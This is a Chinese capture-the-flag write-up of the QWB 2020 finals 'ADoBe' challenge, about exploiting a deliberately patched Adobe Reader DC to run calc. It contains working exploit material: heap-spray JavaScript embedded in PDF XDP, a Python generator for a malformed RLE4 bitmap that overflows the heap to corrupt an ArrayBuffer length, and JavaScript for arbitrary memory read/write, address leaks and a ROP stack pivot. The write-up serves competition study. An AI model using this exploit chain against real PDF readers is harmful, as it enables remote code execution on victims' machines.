强网杯2020决赛RealWord题ADoBe(ADB)

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0x00 前言

第一次来强网杯线下,接触了realword题,收获很大,深有感触

题目信息:

题目名称:ADoBe

旗帜名称:ADB

题目描述:附件中给出了一个Adobe Reader DC可执行程序,请挖掘并利用该程序中的漏洞,在靶机中弹出计算器程序。

靶机环境:Win10 虚拟机,默认安装配置,系统补丁安装至最新。系统安装了附件中提供中的Adobe Reader DC程序,并已关闭程序沙箱。

附件信息:Adobe Reader DC程序及相关Dll文件,版本均与靶机中的一致。

展示环境拓扑:交换机连接选手攻击机和展示机,展示机使用VMware(最新版)运行靶机,靶机通过NAT方式连接到网络。

展示过程:选手携带自己的攻击机上台展示题解,攻击机需运行HTTP服务,供操作员下载能够利用程序漏洞的PDF文档。操作员打开PDF文档后,在规定的时间内,在靶机中弹出计算器程序判定为题解正确。

注意事项:

(1)在解题时,可通过在注册表项
HKLM\SOFTWARE\Wow6432Node\Policies\Adobe\Acrobat Reader\DC\FeatureLockDown中修改键值项bProtectedMode(DWORD类型),赋值为0来关闭Adobe Reader DC程序的沙箱;

(2)上台展示题解的时候注意关闭exp的调试信息。

 

0x01 挖掘过程

从题目描述可以看出,这是要让我们对这个patch过的adobe reader软件进行漏洞挖掘,为了找出漏洞点,我们需要下载与当前版本一致的官方版本进行对比。

将官方版本下载安装后,我们写一个脚本来查找到底是哪一个文件被patch过,脚本如下,就是简单的内容比对。

#coding:utf8
import os

src_dir = u'C:\\Users\\Administrator\\Desktop\\realword\\Adobe附件\\Adobe\\Acrobat Reader DC' # 源文件目录地址

comp_dest = u'C:\\Program Files (x86)\\Adobe\Acrobat Reader DC'

def list_all_files(rootdir):
_files = []

#列出文件夹下所有的目录与文件
list_file = os.listdir(rootdir)

for i in range(0,len(list_file)):

# 构造路径
path = os.path.join(rootdir,list_file[i])

# 判断路径是否是一个文件目录或者文件
# 如果是文件目录,继续递归

if os.path.isdir(path):
_files.extend(list_all_files(path))
if os.path.isfile(path):
_files.append(path)
return _files

files = list_all_files(src_dir)
for path in files:
path2 = comp_dest + '\\' + path[len(src_dir)+1:]
#print path2
f = open(path,'rb')
content1 = f.read()
f.close()
try:
f = open(path2,'rb')
content2 = f.read()
f.close()
except:
continue
if content1 != content2:
print path

经过比对,发现仅一个文件被修改过,那就是Adobe\Acrobat Reader DC\Reader\plug_ins\AcroForm.api文件,接下来,利用Fairdell HexCmp2差异对比工具来对比AcroForm.api与官方文件的差异之处。结果如下

Different between:
First file: "C:\Users\Administrator\Desktop\AcroForm.api"
Second file: "C:\Users\Administrator\Desktop\AcroForm_patched.api"
Shift: 0
------------------------------------------------------------------------

First file: "C:\Users\Administrator\Desktop\AcroForm.api"
Second file: "C:\Users\Administrator\Desktop\AcroForm_patched.api"
Shift: 0
Shift: 0
------------------------------------------------------------------------

000001E0 | 68 F0 E2 30 1E | 000001E0 | 00 00 00 00 00 |
------------------------------------------------------------------------
0054B098 | 87 | 0054B098 | 8F |
------------------------------------------------------------------------
0054B0C0 | EE | 0054B0C0 | FE |
------------------------------------------------------------------------

打开IDA分析,跳转到差异地址处,发现指令由无符号指令patch成了有符号指令

这题patch后的漏洞类型与腾讯安全玄武实验室分析CVE-2019-8014类似,甚至可以说,本题比CVE-2019-8014的利用更加简单方便,首先阅读腾讯实验室的文章,可以发现CVE-2019-8014的堆溢出写数据,不能做到很精准的控制,如果要向前溢出修改ArrayBuffer的byteLength时,那么从byteLength处到溢出堆的起始点都会被覆盖为同一个数据,也就是ArrayBuffer的DataView指针也会被覆盖,进程使用ArrayBuffer对象时会因为其DataView指针指向一个无效地址而崩溃,因此该利用需要事先在对应位置布置好fake DataView堆布局。

ArrayBuffer

ArrayBuffer是JavaScript里的一种类,可以理解为是一个字节数组的包装类,如果要对ArrayBuufer的内存进行读写,就需要建立DataView对象来进行操作。在Adobe中,使用的JS引擎为SpiderMonkey,在早期的Adobe Reader中,其JS的版本不支持ArrayBuffer这个类,好在这是最新版的Adobe Reader,其ArrayBuffer类的大致结构如下

class ArrayBuffer {
 public:
  uint32_t flags;               // flags
  uint32_t byteLength;   // 数组长度
  uint32_t dataview_obj;            // dataview 对象指针
  uint32_t length;              //
 // ...
 //数据区
};

结合JS达到利用

由于Adobe Reader本身支持JavaScript,我们希望利用堆溢出修改ArrayBuffer的byteLength为0xFFFFFFFF,从而使得该ArrayBuffer具有任意地址读写的能力,然后可以利用JavaScript对内存进行读写,劫持程序流;为了达到这个目的,首先我们得利用堆喷构造好堆布局如下

我们希望在Adobe Reader解析bitmap之前时,ArrayBuffer对象后方能间隔的出现一些已经释放了的堆(“空洞”),这样解析bitmap时,存放bitmap的解压数据的堆(line)正好落到空洞里,然后通过bitmap解析时的堆溢出,向前方溢出,修改ArrayBuffer里的byteLength。

精准控制内存

首先,xpos是完全可以通过伪造bitmap,使得其值累加到0xFFFFFFFF,由于这里xpos是有符号数,因此右移1位的操作,其符号位不变,仍然可以保持为负数,正是因为其符号能保持为负数,我们可以精准的向上方溢出。

为了确定溢出的距离,我们使用动态调试,这里,我们选择堆喷的大小为0x140,因此,我们事先new ArrayBuffer(0x130),然后间隔的释放一些ArrayBuffer对象。在Adobe Reader的pdf文档里,我们可以在xdp标签里嵌入

<event activity="initialize" name="event__initialize">
        <script contentType="application/x-javascript">
        </script>
</event>

该标签里的脚本会在Adobe Reader打开pdf文件开始时执行,也就是在解析bitmap之前执行,因此,我们可以在这里进行堆喷布局,pdf模板内xdp标签内的关键内容如下

      <variables>
         <script name="spray" contentType="application/x-javascript">
            //全局变量
            var size = 200;
            var array = new Array(size);
         </script>
         <?templateDesigner expand 1?>
      </variables>
      <event activity="initialize" name="event__initialize">
        <script contentType="application/x-javascript">
           // 在漏洞触发之前,我们布局好堆布局
           function fillHeap() {
               var i;
               var j;
               spray.array[0] = new ArrayBuffer(0x130);
               //var dv = new DataView(spray.array[0]);
               // dv.setUint32(0, 0x66666666, true);
               //dv = null;
               for (i = 0; i &lt; spray.array.length; ++i) {
                  spray.array[i] = spray.array[0].slice();
                  //spray.array[i] = new ArrayBuffer(0x130);
                  //var dv = new DataView(spray.array[i]);
                  //dv.setUint32(0,i, true);
               }
               for (j = 0; j &lt; 0x1000; j++) {
                  for (i = spray.size - 1; i &gt; spray.size / 4; i -= 10) {
                     spray.array[i] = null;
                  }
               }
           }
           fillHeap();
           app.alert("[!] ready to go");
        </script>
      </event>

堆布局配置好了,接着我们分析一下程序如何才能到达漏洞点进而溢出

unsigned int __thiscall sub_20D4B4AF(_DWORD *this)
{
  _DWORD *v1; // edi
  int v2; // ecx
  bool v3; // zf
  int v4; // eax
  unsigned int v5; // esi
  int v6; // eax
  int v7; // ecx
  int v8; // ecx
  unsigned __int16 v9; // ax
  int v10; // edx
  unsigned int v11; // esi
  int v12; // ecx
  int v13; // ecx
  int v14; // ecx
  int v15; // ecx
  int v16; // ecx
  _DWORD *v17; // ecx
  int v18; // ecx
  int v19; // ecx
  int v20; // ecx
  double v21; // xmm1_8
  double v22; // xmm4_8
  __int16 v23; // cx
  unsigned int height; // ebx
  unsigned int result; // eax
  unsigned int v26; // esi
  int v27; // ecx
  int v28; // eax
  int v29; // ecx
  int v30; // eax
  int v31; // ecx
  unsigned int v32; // ebx
  int v33; // eax
  int v34; // ecx
  int v35; // eax
  int v36; // ecx
  int v37; // ecx
  unsigned int v38; // esi
  int v39; // ecx
  unsigned int v40; // edx
  char v41; // ah
  unsigned int v42; // ecx
  int v43; // ebx
  int v44; // ecx
  int v45; // eax
  unsigned int v46; // edx
  int v47; // ecx
  int v48; // ecx
  int v49; // ecx
  unsigned int v50; // eax
  int v51; // ebx
  int v52; // eax
  bool v53; // zf
  int v54; // ecx
  unsigned int xpos; // esi
  int v56; // ecx
  char v57; // ah
  int v58; // edx
  unsigned int v59; // ecx
  unsigned int v60; // esi
  unsigned int v61; // ebx
  char v62; // si
  int v63; // eax
  int v64; // ecx
  unsigned int v65; // esi
  _DWORD *v66; // ecx
  char v67; // bl
  int v68; // eax
  char v69; // cl
  bool v70; // cf
  int v71; // ecx
  int v72; // ecx
  int v73; // ecx
  signed int v74; // ebx
  int ypos_1; // eax
  unsigned int dst_xpos; // ecx
  signed int xpos_; // ebx
  char index; // cl
  signed int byte_slot; // esi
  int odd_index; // edx
  _DWORD *v81; // ecx
  unsigned __int8 _4bits; // bl
  int line; // eax
  unsigned __int8 _4bits_1; // cl
  int v85; // edx
  unsigned int v86; // esi
  int v87; // ebx
  int v88; // eax
  int v89; // ecx
  int v90; // esi
  int v91; // ecx
  int v92; // ecx
  int v93; // ecx
  unsigned int v94; // ebx
  unsigned int v95; // ebx
  int v96; // eax
  int v97; // ecx
  int v98; // esi
  int v99; // ecx
  int v100; // ecx
  int v101; // ecx
  signed int v102; // [esp-4h] [ebp-7Ch]
  signed int v103; // [esp-4h] [ebp-7Ch]
  int v104; // [esp-4h] [ebp-7Ch]
  char v105; // [esp+10h] [ebp-68h]
  void **v106; // [esp+2Ch] [ebp-4Ch]
  int v107; // [esp+34h] [ebp-44h]
  int v108; // [esp+38h] [ebp-40h]
  int v109; // [esp+3Ch] [ebp-3Ch]
  char v110; // [esp+44h] [ebp-34h]
  int width_1; // [esp+48h] [ebp-30h]
  int v112; // [esp+4Ch] [ebp-2Ch]
  __int16 v113; // [esp+50h] [ebp-28h]
  unsigned __int16 bit_count; // [esp+52h] [ebp-26h]
  unsigned int biCompression; // [esp+54h] [ebp-24h]
  int v116; // [esp+5Ch] [ebp-1Ch]
  int v117; // [esp+60h] [ebp-18h]
  unsigned int v118; // [esp+64h] [ebp-14h]
  int v119; // [esp+74h] [ebp-4h]
  char v120; // [esp+78h] [ebp+0h]
  void **v121; // [esp+7Ch] [ebp+4h]
  int v122; // [esp+84h] [ebp+Ch]
  int v123; // [esp+88h] [ebp+10h]
  int v124; // [esp+8Ch] [ebp+14h]
  unsigned int v125; // [esp+94h] [ebp+1Ch]
  unsigned __int8 xdelta; // [esp+9Bh] [ebp+23h]
  int cmd; // [esp+9Ch] [ebp+24h]
  char v128; // [esp+A3h] [ebp+2Bh]
  int v129; // [esp+A4h] [ebp+2Ch]
  __int16 ydelta; // [esp+A8h] [ebp+30h]
  unsigned int width; // [esp+ACh] [ebp+34h]
  unsigned __int8 v132; // [esp+B3h] [ebp+3Bh]
  unsigned int bitmap_ends; // [esp+B4h] [ebp+3Ch]
  unsigned int v134; // [esp+B8h] [ebp+40h]
  char v135; // [esp+BFh] [ebp+47h]
  unsigned int v136; // [esp+C0h] [ebp+48h]
  unsigned __int8 low_4bits; // [esp+C6h] [ebp+4Eh]
  unsigned __int8 high_4bits; // [esp+C7h] [ebp+4Fh]
  unsigned int ypos; // [esp+C8h] [ebp+50h]
  char v140; // [esp+CCh] [ebp+54h]

  v1 = this;
  if ( !this[2] )
    _Mtx_lock_2(16479);
  fn_read_bytes(&v140, 14);
  sub_20D4AFFB(&v110);
  v2 = v1[2];
  fn_read_bytes(&v110, 40);
  if ( v113 != 1 )
    goto LABEL_175;
  width = 4;
  if ( bit_count == 1 )
    goto LABEL_9;
  if ( bit_count == 4 )
  {
    if ( !biCompression )
      goto LABEL_11;
    v3 = biCompression == 2;
    goto LABEL_10;
  }
  if ( bit_count != 8 )
  {
    if ( bit_count != 24 )
    {
LABEL_8:
      sub_20E0D4B3(&v120, 17996, 0);
      goto LABEL_176;
    }
LABEL_9:
    v3 = biCompression == 0;
    goto LABEL_10;
  }
  if ( !biCompression )
    goto LABEL_11;
  v3 = biCompression == 1;
LABEL_10:
  if ( !v3 )
    goto LABEL_8;
LABEL_11:
  v4 = bit_count * width_1;
  if ( v4 <= 0 || v4 < width_1 || v4 < bit_count )
  {
    sub_20E0D4B3(&v120, 16479, 0);
    goto LABEL_176;
  }
..................................................................
    if ( biCompression == 2 )
    {
      v54 = v1[2];
      xpos = 0;
      ypos = v112 - 1;
      bitmap_ends = 0;
      v136 = 0;
      result = fn_feof(v54, v10);
      if ( !result )
      {
        while ( 1 )
        {
          if ( bitmap_ends )
            return result;
          v56 = v1[2];
          fn_read_bytes(&cmd, 2);
          v57 = BYTE1(cmd);
          if ( (_BYTE)cmd )
            break;
          v58 = BYTE1(cmd);
          if ( BYTE1(cmd) )
          {
            if ( BYTE1(cmd) == 1 )
            {
              v74 = 1;
              bitmap_ends = 1;
              goto LABEL_152;
            }
            if ( BYTE1(cmd) != 2 )
            {
              v59 = ypos;
              v60 = BYTE1(cmd) + xpos;
              if ( ypos >= height )
                goto LABEL_175;
              v61 = v136;
              if ( v60 < v136 || v60 < BYTE1(cmd) || v60 > width )
                goto LABEL_175;
              v62 = 0;
              v134 = 0;
              if ( BYTE1(cmd) )
              {
                do
                {
                  v63 = v62 & 1;
                  v125 = v62 & 1;
                  if ( !(v62 & 1) )
                  {
                    v64 = v1[2];
                    fn_read_bytes(&v132, 1);
                    v128 = v132 & 0xF;
                    v59 = ypos;
                    v135 = v132 >> 4;
                    v63 = v125;
                  }
                  v65 = v61 >> 1;
                  v104 = v59;
                  v66 = (_DWORD *)v1[3];
                  if ( v61 & 1 )
                  {
                    if ( v63 )
                    {
                      v68 = fn_get_scanline(v66, v104);
                      v69 = v128;
                    }
                    else
                    {
                      v68 = fn_get_scanline(v66, v104);
                      v69 = v135;
                    }
                    *(_BYTE *)(v65 + v68) |= v69;
                  }
                  else
                  {
                    v67 = v135;
                    if ( v63 )
                      v67 = v128;
                    *(_BYTE *)(fn_get_scanline(v66, v104) + v65) = 16 * v67;
                    v61 = v136;
                  }
                  ++v61;
                  v57 = BYTE1(cmd);
                  v62 = v134 + 1;
                  v70 = v134 + 1 < BYTE1(cmd);
                  v136 = v61;
                  v59 = ypos;
                  ++v134;
                }
                while ( v70 );
              }
              if ( (v57 & 3u) - 1 <= 1 )
              {
                v71 = v1[2];
                fn_read_bytes(&v132, 1);
              }
LABEL_150:
              xpos = v136;
              goto LABEL_151;
            }
            v72 = v1[2];
            fn_read_bytes(&xdelta, 1);
            v73 = v1[2];
            fn_read_bytes((char *)&ydelta + 1, 1);
            xpos += xdelta;
            ypos -= HIBYTE(ydelta);
            v136 = xpos;
          }
          else
          {
            --ypos;
            xpos = 0;
            v136 = 0;
          }
LABEL_151:
          v74 = bitmap_ends;
LABEL_152:
          result = fn_feof(v1[2], v58);
          if ( result )
          {
            v53 = v74 == 0;
            goto LABEL_106;
          }
          height = v129;
        }
        v58 = (unsigned __int8)cmd;
        high_4bits = BYTE1(cmd) >> 4;
        ypos_1 = ypos;
        low_4bits = BYTE1(cmd) & 0xF;
        dst_xpos = (unsigned __int8)cmd + xpos;
        if ( ypos >= height )
          goto LABEL_175;
        if ( (signed int)dst_xpos > (signed int)width )
          goto LABEL_175;
        xpos_ = v136;
        if ( dst_xpos < v136 || dst_xpos < (unsigned __int8)cmd )
          goto LABEL_175;
        index = 0;
        v134 = 0;
        if ( (_BYTE)cmd )
        {
          do
          {
            byte_slot = xpos_ >> 1;
            odd_index = index & 1;
            v81 = (_DWORD *)v1[3];
            if ( xpos_ & 1 )
            {
              if ( odd_index )
              {
                line = fn_get_scanline(v81, ypos_1);
                _4bits_1 = low_4bits;
              }
              else
              {
                line = fn_get_scanline(v81, ypos_1);
                _4bits_1 = high_4bits;
              }
              *(_BYTE *)(byte_slot + line) |= _4bits_1;
            }
            else
            {
              _4bits = high_4bits;
              if ( odd_index )
                _4bits = low_4bits;
              *(_BYTE *)(fn_get_scanline(v81, ypos_1) + byte_slot) = 16 * _4bits;
              xpos_ = v136;
            }
            ++xpos_;
            index = v134 + 1;
            v70 = v134 + 1 < (unsigned __int8)cmd;
            v136 = xpos_;
            ypos_1 = ypos;
            ++v134;
          }
          while ( v70 );
        }
        goto LABEL_150;
      }
    }
LABEL_175:
    sub_20E0D4B3(&v120, 17993, 0);
LABEL_176:
    CxxThrowException(&v120, &_TI2_AVjfExFull__);
  }

从中可以分析出COMPRESSION=2,BIT_COUNT = 4,这样即当bitmap使用的是REL4压缩算法时,就可以到达漏洞处,接下来分析该bitmap的width和height应该为多少,才能够使得申请的堆落到ArrayBuffer对象之间的堆空洞里,在此处用windbg下断点进行调试

首先windbg断点,当AcroForm.api模块被加载时会断下

sxe ld:AcroForm.api

然后断点

bp 0x54bcc8+AcroForm_base

call调用的是fn_get_scanline函数,返回的是一个堆地址

我们查看这个堆的头部以及附近的内容,可以发现其前方0x144处,正是ArrayBuffer的byteLength变量,可见这里,我们堆喷成功,bitmap的解压缩数据堆成功申请到hole里

此时我们bitmap的WIDTH = 0x278,HEIGHT = 1,该bitmap的数据解压区正好申请到hole里。
并且通过调试,我们确定了溢出的距离为-0x144,无符号数也就是0xfffffebc,即bye_slot应该为0xfffffebc

由于这里xpos >> 1是一个有符号数的运算,因此xpos的值应该为0xfffffd78

#include <stdio.h>
#include <iostream>

using namespace std;

int main() {
    int a = 0xfffffebc;
    cout << hex << (a << 1) << endl;
}

而xpos是可以控制的

于是,我们可以向-0x144的位置写上4字节0xFF,使得ArrayBuffer的byteLength为0xFFFFFFFF

gen_bitmap.py

#-*- coding:utf-8 -*-
import os
import sys
import struct

RLE8 = 1
RLE4 = 2
COMPRESSION = RLE4
BIT_COUNT = 4
CLR_USED = 1 << BIT_COUNT
WIDTH = 0x278
HEIGHT = 1

def get_bitmap_file_header(file_size, bits_offset):
    return struct.pack('<2sIHHI', 'BM', file_size, 0, 0, bits_offset)

def get_bitmap_info_header(data_size):
    return struct.pack('<IIIHHIIIIII',
        0x00000028,
        WIDTH,
        HEIGHT,
        0x0001,
        BIT_COUNT,
        COMPRESSION,
        data_size,
        0x00000000,
        0x00000000,
        CLR_USED,
        0x00000000)

def get_bitmap_info_colors():
    # B, G, R, Reserved
    rgb_quad = '\x00\x00\xFF\x00'
    return rgb_quad * CLR_USED

def get_bitmap_data():

    # set xpos to 0xFFFFFD02
    data = '\x00\x02\xFF\x00' * (0xFFFFFD02 / 0xFF)
    # set xpos to 0xFFFFFD78
    data += '\x00\x02\x76\x00'

    # 0x4 bytes of 0xFF
    data += '\x08\xFF'

    # mark end of bitmap to skip CxxThrowException
    data += '\x00\x01'

    return data

def generate_bitmap(filepath):
    data = get_bitmap_data()
    data_size = len(data)

    bmi_header = get_bitmap_info_header(data_size)
    bmi_colors = get_bitmap_info_colors()

    bmf_header_size = 0x0E
    bits_offset = bmf_header_size + len(bmi_header) + len(bmi_colors)
    file_size = bits_offset + data_size
    bmf_header = get_bitmap_file_header(file_size, bits_offset)
    with open(filepath, 'wb') as f:
        f.write(bmf_header)
        f.write(bmi_header)
        f.write(bmi_colors)
        f.write(data)

if __name__ == '__main__':
    if len(sys.argv) != 2:
        print 'Usage: %s <output.bmp>' % os.path.basename(sys.argv[0])
        sys.exit(1)
    generate_bitmap(sys.argv[1])

当完成了这一步的修改以后,我们就已经拥有了一个具有任意地址读写的ArrayBuffer对象了,与前面的堆喷布局同理,在pdf的xdp标签里嵌入

      <event activity="docReady" ref="$host" name="event__docReady">
        <script contentType="application/x-javascript">
        </script>
      </event>

可以实现图片解析完成以后的后续操作,我们在这里,首先要查找到那个具有任意地址读写的ArrayBuffer对象,由于SpiderMonkey引擎的性质,我们可以在内存里搜索0xf0e0d0c0这个特殊数据,从而能计算出ArrayBuffer对象本身的地址,以便实现后续的读写利用

           // 漏洞触发后,我们找到那个byteLength被修改为-1的那个ArrayBuffer,通过此ArrayBuffer,可以实现任意地址读写。
           for (var i = 0; i &lt; spray.array.length; ++i) {
              if (spray.array[i] != null &amp;&amp; spray.array[i].byteLength == -1) {
                 //app.alert("found idx=" + i);
                 var dv = new DataView(spray.array[i]);
                 for (var j=-100;;j-=4) { //搜索内存,查找堆地址
                    var x = dv.getUint32(j,true);
                    if (x == 0xf0e0d0c0) {
                       //得到ArrayBuffer自身的地址
                       var heap_addr = dv.getUint32(j + 0xC,true) - 0x10 - j;
                       //app.alert("heap_addr=" + heap_addr.toString(16));
                       //得到dataview的地址
                       var dataview_obj_addr = dv.getUint32(-8,true);
                       app.alert("dataview_obj=" + dataview_obj_addr.toString(16));
                       //得到EScript.api模块的地址
                       var escript_base = dv.getUint32(dataview_obj_addr + 0xC - heap_addr,true) - 0x275510;
                       //app.alert("escript_base=" + escript_base.toString(16));
                       //计算三个重要的函数的iat表
                       var LoadLibraryA_iat = escript_base + 0x1af0d8;
                       var GetProcAddress_iat = escript_base + 0x1af114;
                       var VirtualProtect_iat = escript_base + 0x1af058;
                       //泄露函数地址
                       var LoadLibraryA = dv.getUint32(LoadLibraryA_iat - heap_addr,true);
                       var GetProcAddress = dv.getUint32(GetProcAddress_iat - heap_addr,true);
                       var VirtualProtect = dv.getUint32(VirtualProtect_iat - heap_addr,true);
                    }
                 }
              }
           }

接下来是劫持程序流,通过尝试发现程序开启了CFG控制流保护机制

因此劫持虚表为gadget不可用,绕过方法有一些,这里我直接选择劫持栈做ROP。那么得泄露栈地址,在windows下泄露栈地址不太容易,得确定teb、peb的地址,而我这里盲摸索出针对当前Adobe Reader的栈地址搜索方法,即通过dataview对象里的一连串指针,偶然发现一个接近栈地址值的指针,其位置如下

var tmp = dv.getUint32(dataview_obj_addr - heap_addr,true);
tmp = dv.getUint32(tmp - heap_addr,true);
tmp = dv.getUint32(tmp + 0xC - heap_addr,true);
//得到一个栈地址
var s = dv.getUint32(tmp + 0x8 - heap_addr,true);

这里得到的s是一个栈地址,但是其地址与函数ret时的esp之间的偏移是会发生变化的,但是变化范围不大,因此可以以该地址为起点进行搜索,直到搜索到getUint32的返回地址时便可以确定具体的栈地址。

  //搜索栈地址,确定一个稳定的栈地址
 var stack_addr = 0;
 for (var k = s;k &gt; s - 0x1000;k -= 4) {
        x = dv.getUint32(k - heap_addr,true);
         if (x == escript_base + 0x12e384) {
            stack_addr = k;
             //app.alert("found stack_addr=" + stack_addr.toString(16));
            break;
        }
}

接下来就利用任意地址读写,劫持ret时的esp指向的地址处为pop esp ; ret,做栈迁移,可以dv.setFloat64来完成一次性写8字节的目的,这样写完便可以完成栈迁移。

 

0x02 感想

第一次挖掘真实漏洞,收获挺大

 

0x03 参考

(深入分析Adobe忽略了6年的PDF漏洞) https://xlab.tencent.com/cn/2019/09/12/deep-analysis-of-cve-2019-8014/

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